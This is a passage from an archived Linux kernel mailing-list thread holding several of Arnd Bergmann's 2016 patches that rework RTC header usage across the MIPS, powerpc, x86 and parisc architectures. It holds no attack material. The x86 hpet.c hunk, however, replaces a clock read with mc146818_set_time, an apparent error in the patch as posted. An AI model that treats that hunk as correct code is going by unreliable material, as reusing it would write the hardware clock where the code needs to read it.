 Pfr2w4FFyeJX5h7Ti82ILmqSGkKIGJtSQIW202NgzuC/NC9UvTDFfk0wlXEkA37gfGWOYntZk
 HIjeY/eOkVLtUPODAy7aSDhqLVwayAlRJXMKPk10VlK3hQ6kaH+x5tgP5zdMgGWSYfOM5IHzP
 URzOvj1fTjpY5qunPtMCOpnIaRPCyXrX5QE2NgAtB3R0GuJ+ADEdrW0OVGpkwrgyNV3CntLkD
 aW5g9aHN5KANcBv4SgcRqCqjZcTKx89CDQmcq0xdQRnSWq9tXGLI5M3jqOI4D4T8TMY1EXyFV
 rrfdhudyRk41Jp5MkorkZ2P+RSrO0lE8JJ6OMUIKkEvHUGB22iN9UOcFhDHR6FPjqlW+i3eTH
 TkJw9dxzAUyxWeu+7Lj3+6INbuWI73N7uzC8L7thGBILbZSDr/lDuKVkCZmBXVQq4qlXAI3gO
 OMDhYzUomjByoSr/kW0lXszHSsJRyNRGZftJ14myY9IpG3YCaI/mNTuK1wRJNgQ/hdNCVAUTT
 F4GsNKXaX7z7HrKgT45CIbC+oNoxDv98duCvsOX4yJ3acVsbagEY4cwajxUhZbFjpUrCumo9x
 2Nm/l7eNcxA1X+oPoH+3+ukGQrzTEwymLY9Q/oPoDnbVIo+7sHVmiPn5mhhyONOoO7GI=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26712 gmane.linux.ports.alpha:3684 gmane.linux.kernel:2210019 gmane.linux.ports.ppc64.devel:126515 gmane.linux.ports.sh.devel:53870 gmane.linux.kernel.cross-arch:31796
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26712>

arch/mips/sni/time.c includes asm-generic/rtc.h for no apparent reason,
and it works fine without that header, so lets remove the inclusion
in preparation of deleting the file.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/mips/sni/time.c | 1 -
 1 file changed, 1 deletion(-)

diff --git a/arch/mips/sni/time.c b/arch/mips/sni/time.c
index fb4b3520cdc6..7ee14f41fc25 100644
--- a/arch/mips/sni/time.c
+++ b/arch/mips/sni/time.c
@@ -8,7 +8,6 @@
 
 #include <asm/sni.h>
 #include <asm/time.h>
-#include <asm-generic/rtc.h>
 
 #define SNI_CLOCK_TICK_RATE	3686400
 #define SNI_COUNTER2_DIV	64
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 12/16] rtc: powerpc: provide rtc_class_ops directly
Date: Thu, 28 Apr 2016 00:34:26 +0200
Lines: 92
Approved: news@gmane.org
Message-ID: <1461796470-1291527-13-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796632 24436 80.91.229.3 (27 Apr 2016 22:37:12 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:37:12 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-alpha-owner@vger.kernel.org Thu Apr 28 00:37:01 2016
Return-path: <linux-alpha-owner@vger.kernel.org>
Envelope-to: lnx-linux-alpha@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-alpha-owner@vger.kernel.org>)
	id 1avY4r-0005N9-1U
	for lnx-linux-alpha@plane.gmane.org; Thu, 28 Apr 2016 00:37:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752928AbcD0WhA (ORCPT <rfc822;lnx-linux-alpha@m.gmane.org>);
	Wed, 27 Apr 2016 18:37:00 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.74]:58054 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753921AbcD0Wfn (ORCPT
	<rfc822;linux-alpha@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:43 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0MQODc-1b7fY92xAa-00TpOW; Thu, 28 Apr
 2016 00:34:54 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:XBfNkGloWa/uzCFVyajs01ycJTURmGNk/2IFtq3jqhUx0ork69R
 lWXnlAbm4KNxleypu0vR5aDWS/KhJxPij+gW+3JMTE27g5oVwgz1ZqBBm4ZrCfi9yiKEmzf
 6318Fa7mpBy/L8AUxuQpBBglVd1s9zvIL3Be/yon7tbXyw4HnbWenWpYS+cTvqkcxEmMiup
 PBE2uDRVP/DTdgf6+43hQ==
X-UI-Out-Filterresults: notjunk:1;V01:K0:fB7BUG1OKHU=:XHi5ZzU57Q46wdA1Ni6b72
 nQ7xcnhjQjwZ08WT/ztVN8Hd6FYaJatg862N/nMWera2Vwe1woOk48fpgvwGZ2dgg6mnQfb1g
 STIzzovG+DUP7A4+aEIrRbQ6ubg7vCo7leiwlei56b5N5DJfV/9ZDmDabT88Cpx/t1XjIPpr+
 JzzoQ00xIexsgNpSnDWgoamHv8IY47cRFTQ+mdH6RF4YaT1yqAcTVhGDnu/uKJDlua7+Qua7X
 617IjdtQQWlqM9BfPcOgVcAJI7IolScyGNEznLBfWfCUCHMgXrVrU2jVr4YISBVX+uKn0mCLs
 pYl33X2xmjHtT90szxKaCFYqz0MzTUIJF74pjeJx905dsza5sFzH70AOfbc8r0SdjT6RW97sx
 8ryneJShhrKaB39Pyj/N76boVr62TUj4KSLUoODHpDkWIlmebU4D/8qMT5BBSgQpKXmAE5T0x
 /EIZvL32S7ZhDHeZEeMAwXc8nD5Ao3AYrOsZiwkuADdWUaDJJSJM9mxLXIw4+Ej3n4nwoX9HG
 VSdlHXlM2oC0CO67DNakQkkhfEeGJ3whpk71v+Z/XSnlMBgJ6P4dk4aZZk/OHVaV3OMHCQekW
 CDFVObzReYRNpHpgmm5pvAfZ8QHc7B54YlHe52JMDKHZsa2VaHhfLtXxY6AmdlJlT7lN/UAJk
 mgpQIYizswM6YlcYhaSF5+6r9mO3QtloejwcohVxiPpYR74xvDsVhdXhPbbBQ3Go0MV0=
Original-Sender: linux-alpha-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-alpha.vger.kernel.org>
X-Mailing-List: linux-alpha@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.alpha:3685 gmane.linux.kernel:2210020 gmane.linux.ports.parisc:26713 gmane.linux.ports.ppc64.devel:126516 gmane.linux.ports.sh.devel:53871 gmane.linux.kernel.cross-arch:31797
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.alpha/3685>

The rtc-generic driver provides an architecture specific
wrapper on top of the generic rtc_class_ops abstraction,
and powerpc has another abstraction on top, which is a bit
silly.

This changes the powerpc rtc-generic device to provide its
rtc_class_ops directly, to reduce the number of layers
by one.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/powerpc/kernel/time.c | 29 ++++++++++++++++++++++++++++-
 drivers/rtc/rtc-generic.c  |  2 +-
 2 files changed, 29 insertions(+), 2 deletions(-)

diff --git a/arch/powerpc/kernel/time.c b/arch/powerpc/kernel/time.c
index 3ed9a5a21d77..7a482a7f4d8d 100644
--- a/arch/powerpc/kernel/time.c
+++ b/arch/powerpc/kernel/time.c
@@ -56,6 +56,7 @@
 #include <linux/irq_work.h>
 #include <linux/clk-provider.h>
 #include <linux/suspend.h>
+#include <linux/rtc.h>
 #include <asm/trace.h>
 
 #include <asm/io.h>
@@ -1081,6 +1082,29 @@ void calibrate_delay(void)
 	loops_per_jiffy = tb_ticks_per_jiffy;
 }
 
+#if IS_ENABLED(CONFIG_RTC_DRV_GENERIC)
+static int rtc_generic_get_time(struct device *dev, struct rtc_time *tm)
+{
+	ppc_md.get_rtc_time(tm);
+	return rtc_valid_tm(tm);
+}
+
+static int rtc_generic_set_time(struct device *dev, struct rtc_time *tm)
+{
+	if (!ppc_md.set_rtc_time)
+		return -EOPNOTSUPP;
+
+	if (ppc_md.set_rtc_time(tm) < 0)
+		return -EOPNOTSUPP;
+
+	return 0;
+}
+
+static const struct rtc_class_ops rtc_generic_ops = {
+	.read_time = rtc_generic_get_time,
+	.set_time = rtc_generic_set_time,
+};
+
 static int __init rtc_init(void)
 {
 	struct platform_device *pdev;
@@ -1088,9 +1112,12 @@ static int __init rtc_init(void)
 	if (!ppc_md.get_rtc_time)
 		return -ENODEV;
 
-	pdev = platform_device_register_simple("rtc-generic", -1, NULL, 0);
+	pdev = platform_device_register_data(NULL, "rtc-generic", -1,
+					     &rtc_generic_ops,
+					     sizeof(rtc_generic_ops));
 
 	return PTR_ERR_OR_ZERO(pdev);
 }
 
 device_initcall(rtc_init);
+#endif
diff --git a/drivers/rtc/rtc-generic.c b/drivers/rtc/rtc-generic.c
index 5c82bae73b9c..efcb9833cac8 100644
--- a/drivers/rtc/rtc-generic.c
+++ b/drivers/rtc/rtc-generic.c
@@ -9,7 +9,7 @@
 #include <linux/platform_device.h>
 #include <linux/rtc.h>
 
-#if defined(CONFIG_PPC)
+#if 0
 #include <asm/rtc.h>
 
 static int generic_get_time(struct device *dev, struct rtc_time *tm)
-- 
2.7.0

--
To unsubscribe from this list: send the line "unsubscribe linux-alpha" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.alpha,gmane.linux.ports.parisc,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 03/16] char/genrtc: x86: remove remnants of asm/rtc.h
Date: Thu, 28 Apr 2016 00:34:17 +0200
Lines: 162
Approved: news@gmane.org
Message-ID: <1461796470-1291527-4-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796674 25041 80.91.229.3 (27 Apr 2016 22:37:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:37:54 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-kernel-owner@vger.kernel.org Thu Apr 28 00:37:48 2016
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1avY5b-0005ig-6S
	for glk-linux-kernel-3@plane.gmane.org; Thu, 28 Apr 2016 00:37:47 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753928AbcD0Whh (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Wed, 27 Apr 2016 18:37:37 -0400
Original-Received: from mout.kundenserver.de ([217.72.192.74]:56082 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753894AbcD0Wfm (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:42 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0Mgw4G-1bHbAm3LCi-00M4ZE; Thu, 28 Apr
 2016 00:34:49 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:IO1YOHRqyK4MZXxcBIhsyFhwbqFw/XypBGuGnI2njAINgZohy82
 E9Yn5UoPBs08qhs+Blibug5xFG9uQENs8GxRyknYq3RqC2KW/PmUAlfeFWrtoi1SPooMAss
 cHz1ejKndhQvNCbM29h6pd6gsUNYJJf/NptL76BfNEn13RyrUjoAAlFQ62PmisNwqeLn3n0
 A+H12sUhqymCkZXoTrfAg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:6UfdcP7XGKU=:pGjQo+faqEhs4Y8eJbGfGO
 JJPN06KkmOED3L2KtVipoFK+mbI4ln+ANzSlFeX4abFqptXlxVfxVkq5H+GQr9YjEGRYGvqY0
 mOJtyny/ybjk/g0Anj9vQvuqN4/UiqF4ZT5sgHk4jThOg5Sx37mPgT03FN2sDypq1bn/b3FFN
 WkrSJKkfwwDwG4AWpPkXGtgwiIP/AMUOij1yoolGa+hs1HAx9kV11SJIpPLWPuOsufPtKdsKm
 PhmDPOsx1gwTfpJOAdsj9FuoP5uzIAeoflJu7wh2QXocgn0kPoXytVxHn7dkldztVfNe5qZ84
 EqVr+Gx+Qnw5fcIIJoNl3IexSc4U4pYYcoLfWesnxz4JWTEb84DUNiDFImXy5UCZnvRlo2MDP
 9TgKTDmbG2tnWgBcHsMGgamSknuq8hbVdImuxf3Wtwy4s79r2lEhdJrNbJfI5hyDvMG/Rov6a
 OLmN/kDKwzf9pZlCOZ8wS8q+fyQglL/57bCanq7NWaYps7FMJ5LGJsA4Ga4eVrj85dSCITri4
 qktgk+C0Y7Y3JO6adD7ZAMMxPbJ8NUgqWfEVRg41GLl0UN0WeAheVdhENXX8i8zP/hU0g0yx3
 Am995t6DO89hpB0eBaj9ZNUW0pXC1lrFM+U9ISpMxuxbuEecRixvg1Fs/y9l1zKOHE0UThGsg
 l6edzM1FWwYe3sINbjhEZspwlDNwI63JDjSzVv1bjIvXRfwZ5HeyxrVwTQxiQyJvSU2A=
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2210021 gmane.linux.ports.alpha:3686 gmane.linux.ports.parisc:26714 gmane.linux.ports.ppc64.devel:126517 gmane.linux.ports.sh.devel:53872 gmane.linux.kernel.cross-arch:31798
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2210021>

Commit 3195ef59cb42 ("x86: Do full rtc synchronization with ntp") had
the side-effect of unconditionally enabling the RTC_LIB symbol on x86,
which in turn disables the selection of the CONFIG_RTC and
CONFIG_GEN_RTC drivers that contain a two older implementations of
the CONFIG_RTC_DRV_CMOS driver.

This removes x86 from the list for genrtc, and changes all references
to the asm/rtc.h header to instead point to the interfaces
from linux/mc146818rtc.h.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/x86/include/asm/rtc.h   | 1 -
 arch/x86/kernel/hpet.c       | 3 +--
 arch/x86/kernel/rtc.c        | 3 +--
 arch/x86/platform/efi/efi.c  | 1 -
 drivers/acpi/acpi_cmos_rtc.c | 2 +-
 drivers/base/power/trace.c   | 6 +++---
 drivers/char/Kconfig         | 2 +-
 drivers/rtc/rtc-mrst.c       | 2 +-
 8 files changed, 8 insertions(+), 12 deletions(-)
 delete mode 100644 arch/x86/include/asm/rtc.h

diff --git a/arch/x86/include/asm/rtc.h b/arch/x86/include/asm/rtc.h
deleted file mode 100644
index f71c3b0ed360..000000000000
--- a/arch/x86/include/asm/rtc.h
+++ /dev/null
@@ -1 +0,0 @@
-#include <asm-generic/rtc.h>
diff --git a/arch/x86/kernel/hpet.c b/arch/x86/kernel/hpet.c
index f112af7aa62e..357900aad62c 100644
--- a/arch/x86/kernel/hpet.c
+++ b/arch/x86/kernel/hpet.c
@@ -1020,7 +1020,6 @@ void hpet_disable(void)
  */
 #include <linux/mc146818rtc.h>
 #include <linux/rtc.h>
-#include <asm/rtc.h>
 
 #define DEFAULT_RTC_INT_FREQ	64
 #define DEFAULT_RTC_SHIFT	6
@@ -1244,7 +1243,7 @@ irqreturn_t hpet_rtc_interrupt(int irq, void *dev_id)
 	memset(&curr_time, 0, sizeof(struct rtc_time));
 
 	if (hpet_rtc_flags & (RTC_UIE | RTC_AIE))
-		get_rtc_time(&curr_time);
+		mc146818_set_time(&curr_time);
 
 	if (hpet_rtc_flags & RTC_UIE &&
 	    curr_time.tm_sec != hpet_prev_update_sec) {
diff --git a/arch/x86/kernel/rtc.c b/arch/x86/kernel/rtc.c
index eceaa082ec3f..79c6311cd912 100644
--- a/arch/x86/kernel/rtc.c
+++ b/arch/x86/kernel/rtc.c
@@ -13,7 +13,6 @@
 #include <asm/x86_init.h>
 #include <asm/time.h>
 #include <asm/intel-mid.h>
-#include <asm/rtc.h>
 #include <asm/setup.h>
 
 #ifdef CONFIG_X86_32
@@ -47,7 +46,7 @@ int mach_set_rtc_mmss(const struct timespec *now)
 
 	rtc_time_to_tm(nowtime, &tm);
 	if (!rtc_valid_tm(&tm)) {
-		retval = set_rtc_time(&tm);
+		retval = mc146818_set_time(&tm);
 		if (retval)
 			printk(KERN_ERR "%s: RTC write failed with error %d\n",
 			       __func__, retval);
diff --git a/arch/x86/platform/efi/efi.c b/arch/x86/platform/efi/efi.c
index 994a7df84a7b..13b216f71191 100644
--- a/arch/x86/platform/efi/efi.c
+++ b/arch/x86/platform/efi/efi.c
@@ -51,7 +51,6 @@
 #include <asm/cacheflush.h>
 #include <asm/tlbflush.h>
 #include <asm/x86_init.h>
-#include <asm/rtc.h>
 #include <asm/uv/uv.h>
 
 #define EFI_DEBUG
diff --git a/drivers/acpi/acpi_cmos_rtc.c b/drivers/acpi/acpi_cmos_rtc.c
index 81dc75033f15..0980a133916f 100644
--- a/drivers/acpi/acpi_cmos_rtc.c
+++ b/drivers/acpi/acpi_cmos_rtc.c
@@ -14,7 +14,7 @@
 #include <linux/err.h>
 #include <linux/kernel.h>
 #include <linux/module.h>
-#include <asm-generic/rtc.h>
+#include <linux/mc146818rtc.h>
 
 #include "internal.h"
 
diff --git a/drivers/base/power/trace.c b/drivers/base/power/trace.c
index a6975795e7f3..efec10b49d59 100644
--- a/drivers/base/power/trace.c
+++ b/drivers/base/power/trace.c
@@ -11,7 +11,7 @@
 #include <linux/export.h>
 #include <linux/rtc.h>
 
-#include <asm/rtc.h>
+#include <linux/mc146818rtc.h>
 
 #include "power.h"
 
@@ -103,7 +103,7 @@ static int set_magic_time(unsigned int user, unsigned int file, unsigned int dev
 	n /= 24;
 	time.tm_min = (n % 20) * 3;
 	n /= 20;
-	set_rtc_time(&time);
+	mc146818_set_time(&time);
 	return n ? -1 : 0;
 }
 
@@ -112,7 +112,7 @@ static unsigned int read_magic_time(void)
 	struct rtc_time time;
 	unsigned int val;
 
-	get_rtc_time(&time);
+	mc146818_get_time(&time);
 	pr_info("RTC time: %2d:%02d:%02d, date: %02d/%02d/%02d\n",
 		time.tm_hour, time.tm_min, time.tm_sec,
 		time.tm_mon + 1, time.tm_mday, time.tm_year % 100);
diff --git a/drivers/char/Kconfig b/drivers/char/Kconfig
index ca397384dc15..9bdb629fbaae 100644
--- a/drivers/char/Kconfig
+++ b/drivers/char/Kconfig
@@ -328,7 +328,7 @@ config JS_RTC
 config GEN_RTC
 	tristate "Generic /dev/rtc emulation"
 	depends on RTC!=y
-	depends on ALPHA || M68K || MN10300 || PARISC || PPC || X86
+	depends on ALPHA || M68K || MN10300 || PARISC || PPC
 	---help---
 	  If you say Y here and create a character special file /dev/rtc with
 	  major number 10 and minor number 135 using mknod ("man mknod"), you
diff --git a/drivers/rtc/rtc-mrst.c b/drivers/rtc/rtc-mrst.c
index 548ea6f6f384..bb8ac7c5e217 100644
--- a/drivers/rtc/rtc-mrst.c
+++ b/drivers/rtc/rtc-mrst.c
@@ -32,11 +32,11 @@
 #include <linux/interrupt.h>
 #include <linux/spinlock.h>
 #include <linux/kernel.h>
+#include <linux/mc146818rtc.h>
 #include <linux/module.h>
 #include <linux/init.h>
 #include <linux/sfi.h>
 
-#include <asm-generic/rtc.h>
 #include <asm/intel_scu_ipc.h>
 #include <asm/intel-mid.h>
 #include <asm/intel_mid_vrtc.h>
-- 
2.7.0



From - Thu Nov 08 21:38:49 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Arnd Bergmann <arnd@arndb.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.ports.alpha,gmane.linux.kernel,gmane.linux.ports.ppc64.devel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: [PATCH v3 08/16] char/genrtc: remove parisc support
Date: Thu, 28 Apr 2016 00:34:22 +0200
Lines: 147
Approved: news@gmane.org
Message-ID: <1461796470-1291527-9-git-send-email-arnd@arndb.de>
References: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1461796691 25205 80.91.229.3 (27 Apr 2016 22:38:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 27 Apr 2016 22:38:11 +0000 (UTC)
Cc: Arnd Bergmann <arnd@arndb.de>, geert@linux-m68k.org, deller@gmx.de,
	benh@kernel.crashing.org, mpe@ellerman.id.au, dalias@libc.org,
	dhowells@redhat.com, linux-alpha@vger.kernel.org,
	a.zummo@towertech.it, linux-kernel@vger.kernel.org,
	linux-parisc@vger.kernel.org, linuxppc-dev@lists.ozlabs.org,
	linux-sh@vger.kernel.org, linux-m68k@lists.linux-m68k.org,
	rtc-linux@googlegroups.com, linux-arch@vger.kernel.org
To: Alexandre Belloni <alexandre.belloni@free-electrons.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 28 00:38:09 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1avY5w-0005ig-6E
	for glpp-linux-parisc@plane.gmane.org; Thu, 28 Apr 2016 00:38:08 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754106AbcD0WiH (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 27 Apr 2016 18:38:07 -0400
Original-Received: from mout.kundenserver.de ([212.227.17.13]:63441 "EHLO
	mout.kundenserver.de" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752236AbcD0Wff (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 27 Apr 2016 18:35:35 -0400
Original-Received: from wuerfel.lan. ([78.42.132.4]) by mrelayeu.kundenserver.de
 (mreue104) with ESMTPA (Nemesis) id 0M4rAD-1btwjG25vB-00yz9Z; Thu, 28 Apr
 2016 00:34:51 +0200
X-Mailer: git-send-email 2.7.0
In-Reply-To: <1461796470-1291527-1-git-send-email-arnd@arndb.de>
X-Provags-ID: V03:K0:hDlGA05dpdNMTEDjZR01lDPZsqpJtKQ5Fyet8yo2+a4sHfJ6dsd
 Cgn0o4JuI5z3elDVFaofzGczl2tOhUc5iNk61m/ah/K3utrf6kT9qrdiik5xjzDTONK8smR
 oG2dl6F7oeHqcNKWf2QQp/PrgYfPsX4+kuiGpOLd34zw97dPnEGZI86+I80J2HA+w5IgXmi
 K6mMdDLRfhids66T07Thw==
X-UI-Out-Filterresults: notjunk:1;V01:K0:gDZghHuRU6A=:EiUrb1TMgWRtZdmOa5h+uD
 oi08FH2EvZ2qsrrsc6CZbEzHqZmP6d6Euq6hHwbKsBTmKPsXywU49B/0Wv4gwVRbS9EKJ9QuJ
 kQi6woqB4tukr8XPHNqGzCAAoeZ/M4eVDUKJcST4c5qEn7ePsD1jS/FSo2txE2gx9wq0nEerK
 jYzH/KZit8RahVIZ7mmacPTiVP3mI/E+xs9whvSjR7SzQy+9vrNT8EyRACAKhltfrQK7z98sf
 hWg3F/nRIt3qSfPJMMk7aR2+8S20S2BN90vZGdNKdYaGEsJN4zrc3ld0uE3OHweTQKbp1Usgl
 LbMTbMPM6jctXnMIxC92B954+RE6FZhEC/izWPv0YqHUUVIAaXf4XGvOrphef9qztn42E5FN0
 xwP3Nd1bAFhRmnqTr0zwJgp+Iq8p3BX7qLqOA+W/lbHMnTqOH+b7oSTWqT7tJQ7r+44XbaG2t
 JQmkbLOAV1gsUhmDLyfDKis8P2cCyqZgW1etWXqa4C3oZlTm4Ak0E837SNLFjxg+57+ZmMU8H
 8z5UcYVzGILhRC/eb+NwSmp0MqXoPuV1r8TmTuXGs36al6dOTOt6GjIEUGm3hgN3mN5dO6oxv
 c7CcD0zEdxh++OpjsvUQHfmNhUZxPOEJdys022j4cLf5yh+I2a5EngL6+26rZO233dHdkdpwA
 UAb7sXmDGNoJMsgGNSw8uL73n/I+7bg9GDkg58F6HDdYDhcB+iVsI8nwmeq7JPQC0LOk=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26715 gmane.linux.ports.alpha:3687 gmane.linux.kernel:2210022 gmane.linux.ports.ppc64.devel:126518 gmane.linux.ports.sh.devel:53873 gmane.linux.kernel.cross-arch:31799
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26715>

This architecture selects RTC_CLASS unconditionally, so the GEN_RTC
has not worked here for a long time.

Now we can remove both the asm/rtc.h header and the Kconfig dependency
for CONFIG_GEN_RTC.

Signed-off-by: Arnd Bergmann <arnd@arndb.de>
---
 arch/parisc/include/asm/rtc.h | 131 ------------------------------------------
 drivers/char/Kconfig          |   2 +-
 2 files changed, 1 insertion(+), 132 deletions(-)
 delete mode 100644 arch/parisc/include/asm/rtc.h

diff --git a/arch/parisc/include/asm/rtc.h b/arch/parisc/include/asm/rtc.h
deleted file mode 100644
index 099d641a42c2..000000000000
--- a/arch/parisc/include/asm/rtc.h
+++ /dev/null
@@ -1,131 +0,0 @@
-/* 
- * include/asm-parisc/rtc.h
- *
- * Copyright 2002 Randolph CHung <tausq@debian.org>
- *
- * Based on: include/asm-ppc/rtc.h and the genrtc driver in the
- * 2.4 parisc linux tree
- */
-
-#ifndef __ASM_RTC_H__
-#define __ASM_RTC_H__
-
-#ifdef __KERNEL__
-
-#include <linux/rtc.h>
-
-#include <asm/pdc.h>
-
-#define SECS_PER_HOUR   (60 * 60)
-#define SECS_PER_DAY    (SECS_PER_HOUR * 24)
-
-
-#define RTC_PIE 0x40		/* periodic interrupt enable */
-#define RTC_AIE 0x20		/* alarm interrupt enable */
-#define RTC_UIE 0x10		/* update-finished interrupt enable */
-
-#define RTC_BATT_BAD 0x100	/* battery bad */
-
-/* some dummy definitions */
-#define RTC_SQWE 0x08		/* enable square-wave output */
-#define RTC_DM_BINARY 0x04	/* all time/date values are BCD if clear */
-#define RTC_24H 0x02		/* 24 hour mode - else hours bit 7 means pm */
-#define RTC_DST_EN 0x01	        /* auto switch DST - works f. USA only */
-
-# define __isleap(year) \
-  ((year) % 4 == 0 && ((year) % 100 != 0 || (year) % 400 == 0))
-
-/* How many days come before each month (0-12).  */
-static const unsigned short int __mon_yday[2][13] =
-{
-	/* Normal years.  */
-	{ 0, 31, 59, 90, 120, 151, 181, 212, 243, 273, 304, 334, 365 },
-	/* Leap years.  */
-	{ 0, 31, 60, 91, 121, 152, 182, 213, 244, 274, 305, 335, 366 }
-};
-
-static inline unsigned int get_rtc_time(struct rtc_time *wtime)
-{
-	struct pdc_tod tod_data;
-	long int days, rem, y;
-	const unsigned short int *ip;
-
-	memset(wtime, 0, sizeof(*wtime));
-	if (pdc_tod_read(&tod_data) < 0)
-		return RTC_24H | RTC_BATT_BAD;
-
-	// most of the remainder of this function is:
-//	Copyright (C) 1991, 1993, 1997, 1998 Free Software Foundation, Inc.
-//	This was originally a part of the GNU C Library.
-//      It is distributed under the GPL, and was swiped from offtime.c
-
-
-	days = tod_data.tod_sec / SECS_PER_DAY;
